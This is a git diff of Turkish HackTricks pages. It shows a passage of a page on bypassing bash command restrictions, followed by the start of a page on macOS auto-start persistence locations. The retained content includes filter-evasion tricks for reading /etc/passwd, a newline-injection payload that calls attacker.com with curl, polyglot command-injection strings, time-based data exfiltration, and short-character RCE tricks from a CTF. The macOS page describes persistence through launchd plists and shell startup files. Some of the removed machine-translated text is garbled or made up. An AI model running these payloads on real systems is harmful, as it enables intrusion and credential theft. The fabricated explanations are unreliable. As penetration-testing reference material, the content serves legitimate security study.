saved in the history and can be used as a space, please notice that the $u variable is undefined uname!-1\-a # This equals to uname -a ``` -### Ters bölü ve bölü işaretlerini atlatma - -Bazı durumlarda, bir komutu çalıştırmak için ters bölü (\) veya bölü (/) işaretlerini atlatmanız gerekebilir. İşte bu işaretleri atlatmanın bazı yöntemleri: - -- Ters bölü işaretini atlatmak için, komutunuzda ters bölü işaretinden önce başka bir ters bölü işareti ekleyin. Örneğin, `ls \\-l` komutunu kullanarak `ls -l` komutunu çalıştırabilirsiniz. -- Bölü işaretini atlatmak için, komutunuzda bölü işaretinden önce ters bölü işareti ekleyin. Örneğin, `cd \/tmp` komutunu kullanarak `cd /tmp` komutunu çalıştırabilirsiniz. - -Bu yöntemler, ters bölü ve bölü işaretlerini atlatmanıza yardımcı olacaktır. +### Ters eğik çizgi ve eğik çizgiyi atlatma ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd ``` -### Pipe'ları Atlatma - -Bazı durumlarda, bir komutun çıktısını başka bir komuta yönlendirmek için pipe (`|`) kullanmak engellenebilir. Ancak, bu engellemeyi aşmanın bazı yolları vardır. - -#### 1. Process Substitution (İşlem Yerine Koyma) - -Process substitution, bir komutun çıktısını bir dosya gibi işlemek için kullanılır. Bu yöntem, pipe kullanmadan komutlar arasında veri akışını sağlar. - -```bash -command1 <(command2) -``` - -Örnek: - -```bash -cat <(ls) -``` - -#### 2. Named Pipes (Adlandırılmış Pipe'lar) - -Named pipes, bir dosya gibi davranan özel bir dosya türüdür. Bu yöntemle, bir komutun çıktısı bir named pipe'a yönlendirilir ve başka bir komut da bu named pipe'dan veri alır. - -```bash -mkfifo /tmp/pipe -command1 > /tmp/pipe & -command2 < /tmp/pipe -``` - -Örnek: - -```bash -mkfifo /tmp/pipe -ls > /tmp/pipe & -cat < /tmp/pipe -``` - -#### 3. Process Substitution with Named Pipes (İşlem Yerine Koyma ile Adlandırılmış Pipe'lar) - -Process substitution ve named pipes yöntemleri birleştirilerek, pipe kullanmadan komutlar arasında veri akışı sağlanabilir. - -```bash -command1 <(command2 > /tmp/pipe) < /tmp/pipe -``` - -Örnek: - -```bash -cat <(ls > /tmp/pipe) < /tmp/pipe -``` - -#### 4. File Descriptor Manipulation (Dosya Tanımlayıcı Manipülasyonu) - -Dosya tanımlayıcı manipülasyonu, bir komutun çıktısını bir dosya tanımlayıcısına yönlendirmek için kullanılır. Bu yöntemle, pipe kullanmadan komutlar arasında veri akışı sağlanabilir. - -```bash -command1 3>&1 1>&2 2>&3 | command2 -``` - -Örnek: - -```bash -ls 3>&1 1>&2 2>&3 | cat -``` - -#### 5. Shell Variable (Kabuk Değişkeni) - -Bazı durumlarda, bir komutun çıktısını bir shell değişkenine atayarak pipe engellemesi aşılabilir. - -```bash -variable=$(command) -``` - -Örnek: - -```bash -files=$(ls) -``` - -Bu yöntemle, `variable` adlı bir shell değişkeni oluşturulur ve `command` komutunun çıktısı bu değişkene atanır. - -#### 6. Temporary File (Geçici Dosya) - -Bir komutun çıktısını bir geçici dosyaya yönlendirmek ve başka bir komutun bu dosyadan veri almasını sağlamak da bir seçenektir. - -```bash -command1 > /tmp/file -command2 < /tmp/file -``` - -Örnek: - -```bash -ls > /tmp/file -cat < /tmp/file -``` - -Bu yöntemle, `command1` komutunun çıktısı `/tmp/file` adlı bir geçici dosyaya yönlendirilir ve `command2` komutu bu dosyadan veri alır. +### Boruları Atlayın ```bash bash<<<$(base64 -d<<: -export https_proxy=http://: -``` - -#### IP Adresini Değiştirme - -IP adresinizi değiştirerek IP tabanlı kısıtlamaları atlayabilirsiniz. Bunun için aşağıdaki komutları kullanabilirsiniz: - -```bash -sudo ifconfig eth0 netmask -``` - -#### IP Adresini Görmezden Gelme - -Bazı durumlarda, hedef sistemdeki IP tabanlı kısıtlamaları atlamak için IP adresinizi tamamen görmezden gelebilirsiniz. Aşağıdaki komutu kullanarak bu işlemi gerçekleştirebilirsiniz: - -```bash -sudo iptables -A INPUT -s -j DROP -``` - -Bu komut, belirtilen IP adresinden gelen tüm giriş trafiğini engeller. - -#### IP Adresini Sahteleyerek Atlatma - -IP adresinizi sahteleyerek IP tabanlı kısıtlamaları atlayabilirsiniz. Aşağıdaki komutları kullanarak bu işlemi gerçekleştirebilirsiniz: - -```bash -sudo iptables -t nat -A POSTROUTING -j SNAT --to-source -``` - -Bu komut, çıkış trafiğindeki IP adresinizi belirtilen sahte IP adresiyle değiştirir. - -#### IP Adresini Yönlendirme ile Atlatma - -IP adresinizi yönlendirme kullanarak IP tabanlı kısıtlamaları atlayabilirsiniz. Aşağıdaki komutları kullanarak bu işlemi gerçekleştirebilirsiniz: - -```bash -sudo iptables -t nat -A PREROUTING -d -j DNAT --to-destination -``` - -Bu komut, belirli bir hedef IP adresine yönlendirilen trafiği, belirtilen yeni IP adresine yönlendirir. ```bash # Decimal IPs 127.0.0.1 == 2130706433 ``` ### Zaman tabanlı veri sızdırma - -Bazı durumlarda, hedef sistemdeki verileri doğrudan çıkaramazsınız. Ancak, zaman tabanlı bir veri sızdırma tekniği kullanarak verileri yavaşça sızdırabilirsiniz. Bu teknik, hedef sistemdeki verileri küçük parçalara böler ve her parçayı belirli bir zaman aralığında gönderir. - -Bu teknik için aşağıdaki adımları izleyebilirsiniz: - -1. Verileri küçük parçalara bölün: Hedef sistemdeki verileri küçük parçalara bölmek için bir yöntem kullanın. Örneğin, bir metin dosyasını satır satır bölebilirsiniz. - -2. Veri parçalarını gönderin: Her veri parçasını belirli bir zaman aralığında gönderin. Bu, hedef sistemdeki ağ trafiğini minimumda tutarak tespit edilme olasılığını azaltır. - -3. Verileri birleştirin: Veri parçalarını almak için bir alıcı tarafı oluşturun ve gönderilen veri parçalarını birleştirin. Bu, orijinal veriyi elde etmenizi sağlar. - -Bu teknik, hedef sistemdeki verileri yavaşça sızdırmanıza olanak tanır ve tespit edilme olasılığını azaltır. Ancak, verilerin sızdırılması zaman alabilir ve dikkatlice planlanması gereken bir süreçtir. ```bash time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi ``` -### Ortam Değişkenlerinden Karakterleri Almak - -Bazı durumlarda, bir kabuk betiği içindeki bazı karakterleri almak için ortam değişkenlerini kullanabilirsiniz. Bu, bazı kısıtlamaları aşmanıza yardımcı olabilir. - -Bir ortam değişkeninden karakter almak için aşağıdaki komutu kullanabilirsiniz: - -```bash -echo -e "Karakterler: \x24\x28\x65\x63\x68\x6F\x20\x2D\x65\x20\x27\x5C\x78\x32\x34\x27\x29" -``` - -Bu komut, `$(` ve `)` karakterlerini almak için `echo` komutunu kullanır. `\x` önekini kullanarak ASCII değerlerini temsil ederiz. Bu şekilde, kısıtlamaları aşmak için gerekli karakterleri alabilirsiniz. - -Bu yöntem, bazı durumlarda kısıtlamaları aşmanıza yardımcı olabilir, ancak her zaman işe yaramayabilir. +### Çevresel Değişkenlerden Karakterler Almak ```bash echo ${LS_COLORS:10:1} #; echo ${PATH:0:1} #/ ``` -### DNS veri sızdırma +### DNS verisi dışa aktarma Örneğin **burpcollab** veya [**pingb**](http://pingb.in) kullanabilirsiniz. -### Yerleşik Fonksiyonlar +### Dahili Komutlar -Eğer harici fonksiyonları çalıştıramaz ve sadece **sınırlı bir dizi yerleşik fonksiyona erişiminiz varsa RCE elde etmek için**, bunu yapmanın bazı kullanışlı hileleri vardır. Genellikle **tüm yerleşikleri kullanamayacaksınız**, bu yüzden hapishaneden kaçmak için denemek için **tüm seçeneklerinizi bilmelisiniz**. Fikir [**devploit**](https://twitter.com/devploit)'den alınmıştır.\ -İlk olarak, tüm [**shell yerleşiklerini**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin**. Ardından, işte bazı **öneriler**: +Dış işlevleri yürütemezsiniz ve yalnızca bir **sınırlı dahili komut kümesine erişiminiz varsa RCE elde etmek için bazı kullanışlı hileler vardır**. Genellikle **tüm dahili komutları kullanamayacaksınız**, bu yüzden hapishaneden kaçmak için tüm seçeneklerinizi bilmelisiniz. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\ +Öncelikle tüm [**kabuk dahili komutlarını**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin**. Sonra işte size bazı **tavsiyeler**: ```bash # Get list of builtins declare builtins @@ -444,61 +218,24 @@ chmod +x [ export PATH=/tmp:$PATH if [ "a" ]; then echo 1; fi # Will print hello! ``` -### Poliglot komut enjeksiyonu - -Polyglot komut enjeksiyonu, birden fazla programlama dilinde geçerli olan bir komutu hedef sisteme enjekte etmek için kullanılan bir tekniktir. Bu teknik, hedef sistemin birden fazla programlama dilini desteklemesi durumunda kullanılabilir. Poliglot komut enjeksiyonu, hedef sisteme zarar vermek veya yetkisiz erişim elde etmek için kullanılabilir. Bu nedenle, sistemlerin bu tür saldırılara karşı korunması önemlidir. +### Çok dilli komut enjeksiyonu ```bash 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ ``` ### Potansiyel regexleri atlayın - -Bazı durumlarda, bir komutun çalışmasını engellemek için kullanılan regex desenlerini atlamak gerekebilir. Aşağıda, bu tür bir durumu atlamak için kullanılabilecek bazı teknikler bulunmaktadır: - -- **Karakter Kaçışı**: Regex deseninde kullanılan özel karakterleri kaçış karakteriyle (\) birlikte kullanarak deseni atlayabilirsiniz. Örneğin, `\$` şeklinde bir desen, `$` karakterini aramak yerine deseni atlar. - -- **Karakter Aralığı**: Regex deseninde kullanılan karakter aralığı belirteçleri ([ ]) kullanarak, belirli bir karakter kümesini atlayabilirsiniz. Örneğin, `[a-z]` şeklinde bir desen, küçük harfler arasındaki herhangi bir karakteri atlar. - -- **Metakarakterlerin Kaçışı**: Regex deseninde kullanılan metakarakterleri kaçış karakteriyle (\) birlikte kullanarak deseni atlayabilirsiniz. Örneğin, `\.` şeklinde bir desen, nokta karakterini aramak yerine deseni atlar. - -- **Alternatifler**: Regex deseninde alternatifler (|) kullanarak, farklı desenleri atlayabilirsiniz. Örneğin, `pattern1|pattern2` şeklinde bir desen, pattern1 veya pattern2'yi atlar. - -Bu teknikler, regex desenlerini atlamak için kullanılabilecek bazı yaygın yöntemlerdir. Ancak, her durumda etkili olmayabilirler. ```bash # A regex that only allow letters and numbers might be vulnerable to new line characters 1%0a`curl http://attacker.com` ``` ### Bashfuscator -Bashfuscator, Bash betiklerini anlaşılması zor hale getirmek için kullanılan bir araçtır. Bu araç, betikleri karmaşık hale getirerek, betiklerin anlaşılmasını ve analiz edilmesini zorlaştırır. Bashfuscator, değişken adlarını rastgele karakterlerle değiştirir, gereksiz boşluklar ekler ve kodu parçalara böler. Bu sayede, betiklerin anlaşılması ve analiz edilmesi daha zor hale gelir. Bashfuscator, güvenlik testleri sırasında veya kötü niyetli saldırganlar tarafından kullanılabilir. +### Bashfuscator ```bash # From https://github.com/Bashfuscator/Bashfuscator ./bashfuscator -c 'cat /etc/passwd' ``` -### 5 karakterle RCE (Uzaktan Kod Çalıştırma) - -Bazı durumlarda, hedef sistemdeki bash kısıtlamalarını aşmak için sadece 5 karakter kullanarak uzaktan kod çalıştırma saldırıları gerçekleştirebilirsiniz. Bu yöntem, hedef sistemin güvenlik önlemlerini atlamak için etkili bir yol sağlar. - -Bu saldırıyı gerçekleştirmek için aşağıdaki adımları izleyin: - -1. İlk olarak, hedef sistemdeki bash sürümünü kontrol edin: -```bash -$ echo $BASH_VERSION -``` - -2. Ardından, hedef sistemdeki bash sürümüne bağlı olarak aşağıdaki komutları kullanarak RCE saldırısını gerçekleştirin: - -- Bash sürümü 4.4 veya daha düşükse: -```bash -$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" -``` - -- Bash sürümü 4.4 veya daha yüksekse: -```bash -$ env X='() { (a)=>\' bash -c "echo date"; cat echo -``` - -Bu yöntem, hedef sistemin bash sürümüne bağlı olarak farklı komutlar kullanır ve sadece 5 karakter kullanarak RCE saldırısı gerçekleştirir. Bu sayede, hedef sistemin güvenlik önlemlerini aşabilir ve uzaktan kod çalıştırabilirsiniz. +### 5 karakter ile Uzaktan Kod Çalıştırma (RCE) ```bash # From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge #Oragnge Tsai solution @@ -545,23 +282,7 @@ ln /f* ## If there is a file /flag.txt that will create a hard link ## to it in the current folder ``` -### 4 karakterle RCE - -Bash kısıtlamalarını atlamak için kullanılan bir yöntemdir. Bu yöntem, sadece 4 karakter kullanarak Uzaktan Kod Çalıştırma (RCE) sağlar. - -```bash -$ echo $0 -bash -$ echo $BASH_VERSION -4.4.19(1)-release -$ echo $0-$BASH_VERSION -bash-4.4.19(1)-release -``` - -Bu komutlar, mevcut kabuk ve Bash sürümünü görüntüler. Bu bilgileri kullanarak, RCE gerçekleştirmek için aşağıdaki komutu kullanabilirsiniz: - -```bash -$ echo ${0%/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/* +### 4 karakter ile Uzaktan Kod Çalıştırma (RCE) ```bash # In a similar fashion to the previous bypass this one just need 4 chars to execute commands # it will follow the same principle of creating the command `ls -t>g` in a file @@ -596,15 +317,15 @@ $ echo ${0%/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ 'sh x' 'sh g' ``` -## Salt-Okunur/Noexec/Distroless Atlama +## Salt-Okuma/Noexec/Distroless Atlatma -Eğer **salt-okunur ve noexec korumaları** olan bir dosya sisteminde veya distroless bir konteyner içindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu bile çalıştırmanın yolları** vardır: +Eğer **salt-okuma ve noexec korumaları** olan bir dosya sistemi içinde veya hatta bir distroless konteyner içindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu çalıştırmanın yolları** vardır: {% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %} [bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/) {% endcontent-ref %} -## Chroot ve Diğer Hapishaneleri Atlama +## Chroot ve Diğer Hapishaneleri Atlatma {% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %} [escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md) @@ -617,24 +338,24 @@ Eğer **salt-okunur ve noexec korumaları** olan bir dosya sisteminde veya distr * [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) * [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin! +Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**. -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/macos-hardening/macos-auto-start-locations.md b/macos-hardening/macos-auto-start-locations.md index f52c6a965..a83e9f8f1 100644 --- a/macos-hardening/macos-auto-start-locations.md +++ b/macos-hardening/macos-auto-start-locations.md @@ -2,29 +2,29 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın**. +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'de **takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-Bu bölüm, [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) blog serisine dayanmaktadır, amacı **daha fazla Otomatik Başlatma Konumu** eklemek (mümkünse), günümüzdeki macOS'ın en son sürümüyle (13.4) **hala çalışan teknikleri belirtmek** ve gerekli olan **izinleri** belirtmektir. +Bu bölüm, [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) blog serisine dayanmaktadır. Amacı, **daha fazla Otomatik Başlatma Konumu** eklemek (mümkünse), günümüzdeki macOS'ın en son sürümüyle (13.4) **hala çalışan teknikleri belirtmek** ve gerekli olan **izinleri** belirtmektir. ## Kum Havuzu Atlatma {% hint style="success" %} -Burada, **kum havuzu atlatma** için yararlı olan başlatma konumlarını bulabilirsiniz, bu size **bir dosyaya yazarak** ve çok **yaygın bir** **eylemi bekleyerek**, belirlenmiş bir **zaman miktarı** veya genellikle bir kum havuzundan **kök izinlerine ihtiyaç duymadan** gerçekleştirebileceğiniz bir **eylem** sağlar. +Burada, **kum havuzu atlatma** için yararlı olan başlatma konumlarını bulabilirsiniz. Bu, bir şeyi **bir dosyaya yazarak** ve bir **çok yaygın eylem**, belirli bir **zaman miktarı** veya genellikle bir kum havuzundan **kök izinleri gerektirmeden** gerçekleştirebileceğiniz bir **eylem** için **bekleyerek** basitçe yürütmenize olanak tanır. {% endhint %} ### Launchd -* Kum havuzu atlatma için yararlı: [✅](https://emojipedia.org/check-mark-button) +* Kum havuzu atlatma için kullanışlı: [✅](https://emojipedia.org/check-mark-button) * TCC Atlatma: [🔴](https://emojipedia.org/large-red-circle) #### Konumlar @@ -48,16 +48,16 @@ Burada, **kum havuzu atlatma** için yararlı olan başlatma konumlarını bulab #### Açıklama ve Sömürü -**`launchd`**, başlangıçta OX S çekirdeği tarafından çalıştırılan **ilk işlem** ve kapanırken sonuncusudur. Her zaman **PID 1**'e sahip olmalıdır. Bu işlem, **ASEP** **plistlerinde** belirtilen yapılandırmaları **okuyacak ve yürütecek**: +**`launchd`**, başlangıçta OX S çekirdeği tarafından yürütülen **ilk işlem** ve kapanırken sonuncusudur. Her zaman **PID 1**'e sahip olmalıdır. Bu işlem, **ASEP** **plistlerinde** belirtilen yapılandırmaları **okuyacak ve yürütecek**: * `/Library/LaunchAgents`: Yönetici tarafından yüklenen kullanıcı başına ajanlar -* `/Library/LaunchDaemons`: Yönetici tarafından yüklenen sistem genelindeki daemonlar +* `/Library/LaunchDaemons`: Yönetici tarafından yüklenen sistem genelinde hizmetler * `/System/Library/LaunchAgents`: Apple tarafından sağlanan kullanıcı başına ajanlar. -* `/System/Library/LaunchDaemons`: Apple tarafından sağlanan sistem genelindeki daemonlar. +* `/System/Library/LaunchDaemons`: Apple tarafından sağlanan sistem genelinde hizmetler. Bir kullanıcı oturum açtığında, `/Users/$USER/Library/LaunchAgents` ve `/Users/$USER/Library/LaunchDemons` konumlarındaki plist'ler **oturum açan kullanıcı izinleriyle** başlatılır. -**Ajanlar ve daemonlar arasındaki temel fark, ajanların kullanıcı oturum açtığında yüklenmesi ve daemonların sistem başlatıldığında yüklenmesidir** (çünkü ssh gibi hizmetlerin, herhangi bir kullanıcının sisteme erişmeden önce çalıştırılması gerekmektedir). Ayrıca ajanlar GUI kullanabilirken, daemonlar arka planda çalışmalıdır. +**Ajanlar ve hizmetler arasındaki temel fark, ajanların kullanıcı oturum açtığında yüklenmesi ve hizmetlerin sistem başlatıldığında yüklenmesidir** (çünkü ssh gibi hizmetlerin, herhangi bir kullanıcının sisteme erişmeden önce yürütülmesi gerekmektedir). Ayrıca ajanlar GUI kullanabilirken, hizmetler arka planda çalışmalıdır. ```xml @@ -80,13 +80,13 @@ Bir kullanıcı oturum açtığında, `/Users/$USER/Library/LaunchAgents` ve `/U ``` -**Kullanıcı oturum açmadan önce bir ajanın çalıştırılması gereken durumlar** bulunmaktadır, bunlara **PreLoginAgents** denir. Örneğin, bu, oturum açma sırasında destekleyici teknoloji sağlamak için kullanışlıdır. Bunlar ayrıca `/Library/LaunchAgents` dizininde de bulunabilir (bir örnek için [**buraya**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) bakın). +Bazı durumlarda, **kullanıcı oturum açmadan önce bir ajanın çalıştırılması gerekebilir**, bunlara **PreLoginAgents** denir. Örneğin, bu, oturum açılırken destekleyici teknoloji sağlamak için kullanışlıdır. Bunlar ayrıca `/Library/LaunchAgents` dizininde de bulunabilir (bir örnek için [**buraya**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) bakın). {% hint style="info" %} -Yeni Daemon'lar veya Ajan'lar yapılandırma dosyaları **bir sonraki yeniden başlatmadan sonra veya** `launchctl load ` **kullanılarak yüklenecektir**. Ayrıca, `.plist` uzantısız dosyaları `launchctl -F ` ile yüklemek de mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatma sonrasında yüklenmeyecektir).\ -`launchctl unload ` ile **yüklemeyi kaldırmak** da mümkündür (bu işaret ettiği işlem sonlandırılacaktır). +Yeni Daemon veya Ajan yapılandırma dosyaları, **bir sonraki yeniden başlatmadan sonra veya** `launchctl load ` **kullanılarak yüklenecektir**. Ayrıca, `.plist` uzantısız dosyaları da `launchctl -F ` ile yüklemek mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatmadan sonra yüklenmeyecektir).\ +`launchctl unload ` ile **boşaltmak** da mümkündür (bu işaret ettiği işlem sonlandırılacaktır). -Bir **Ajanın** veya **Daemon'ın** **çalışmasını engelleyen** bir **geçersiz kılma gibi bir şeyin olmadığından emin olmak** için şunu çalıştırın: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` +Bir **Ajanın** veya **Daemon'ın** **çalışmasını engelleyen** bir **geçersiz kılma** gibi **herhangi bir şeyin olmadığından emin olmak için** şunu çalıştırın: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` {% endhint %} Mevcut kullanıcı tarafından yüklenen tüm ajanları ve daemonları listele: @@ -94,7 +94,7 @@ Mevcut kullanıcı tarafından yüklenen tüm ajanları ve daemonları listele: launchctl list ``` {% hint style="warning" %} -Eğer bir plist dosyası bir kullanıcıya aitse, hatta daemon sistem genelindeki klasörlerde olsa bile, **görev kullanıcı olarak** ve root olarak değil çalıştırılacaktır. Bu bazı ayrıcalık yükseltme saldırılarını engelleyebilir. +Eğer bir plist dosyası bir kullanıcıya aitse, hatta daemon sistem genelindeki klasörlerde olsa bile, **görev kullanıcı olarak** ve kök olarak değil yürütülecektir. Bu bazı ayrıcalık yükseltme saldırılarını önleyebilir. {% endhint %} ### kabuk başlangıç dosyaları @@ -104,29 +104,29 @@ Açıklama (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https:// * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) * TCC Atlatma: [✅](https://emojipedia.org/check-mark-button) -* Ancak bu dosyaları yükleyen bir kabuk çalıştıran TCC atlatması olan bir uygulama bulmanız gerekmektedir +* Ancak bu dosyaları yükleyen bir kabuk yürüten TCC atlatması olan bir uygulama bulmanız gerekmektedir #### Konumlar * **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`** -* **Tetikleyici**: zsh ile bir terminal açın +* **Tetikleyici**: zsh ile bir terminal aç * **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`** -* **Tetikleyici**: zsh ile bir terminal açın -* Root gereklidir +* **Tetikleyici**: zsh ile bir terminal aç +* Kök gereklidir * **`~/.zlogout`** -* **Tetikleyici**: zsh ile bir terminali kapatın +* **Tetikleyici**: zsh ile bir terminali kapat * **`/etc/zlogout`** -* **Tetikleyici**: zsh ile bir terminali kapatın -* Root gereklidir +* **Tetikleyici**: zsh ile bir terminali kapat +* Kök gereklidir * Muhtemelen daha fazlası: **`man zsh`** * **`~/.bashrc`** -* **Tetikleyici**: bash ile bir terminal açın +* **Tetikleyici**: bash ile bir terminal aç * `/etc/profile` (çalışmadı) * `~/.profile` (çalışmadı) * `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` * **Tetikleyici**: xterm ile tetiklenmesi beklenir, ancak **kurulu değil** ve kurulduktan sonra bile bu hata alınır: xterm: `DISPLAY is not set` -#### Açıklama & Sömürü +#### Açıklama ve Sömürü `zsh` veya `bash` gibi bir kabuk ortamı başlatıldığında, **belirli başlangıç dosyaları çalıştırılır**. macOS şu anda varsayılan kabuk olarak `/bin/zsh` kullanmaktadır. Bu kabuk, Terminal uygulaması başlatıldığında veya bir cihaz SSH ile erişildiğinde otomatik olarak erişilir. macOS'ta ayrıca `bash` ve `sh` de bulunmaktadır, ancak kullanılmak için açıkça çağrılması gerekmektedir. @@ -149,13 +149,13 @@ Belirtilen açığı yapılandırmak ve oturumu kapatıp açmak veya hatta yenid #### Konum * **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** -* **Tetikleyici**: Uygulamaları tekrar açma işlemi yeniden başlatılır +* **Tetikleyici**: Uygulamaları yeniden açma işlemi #### Açıklama ve Sömürü Yeniden açılacak tüm uygulamalar, `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` plist dosyasının içindedir. -Bu nedenle, yeniden açılacak uygulamalar arasına kendi uygulamanızı eklemek için sadece **uygulamanızı listeye eklemeniz yeterlidir**. +Bu nedenle, yeniden açılacak uygulamalar arasına kendi uygulamanızı eklemek için **uygulamanızı listeye eklemeniz yeterlidir**. UUID, bu dizini listelerken veya `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` komutu ile bulunabilir. @@ -188,7 +188,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist #### Açıklama ve Sömürü -**`~/Library/Preferences`** içerisinde, Kullanıcı Tercihleri Uygulamaların tercihlerini saklar. Bu tercihlerden bazıları, **diğer uygulamalar/skriptleri çalıştırmak** için bir yapılandırma tutabilir. +**`~/Library/Preferences`** içerisinde, Kullanıcı Tercihleri Uygulamalarında saklanır. Bu tercihlerin bazıları, **diğer uygulamalar/skriptleri çalıştırmak** için bir yapılandırma tutabilir. Örneğin, Terminal 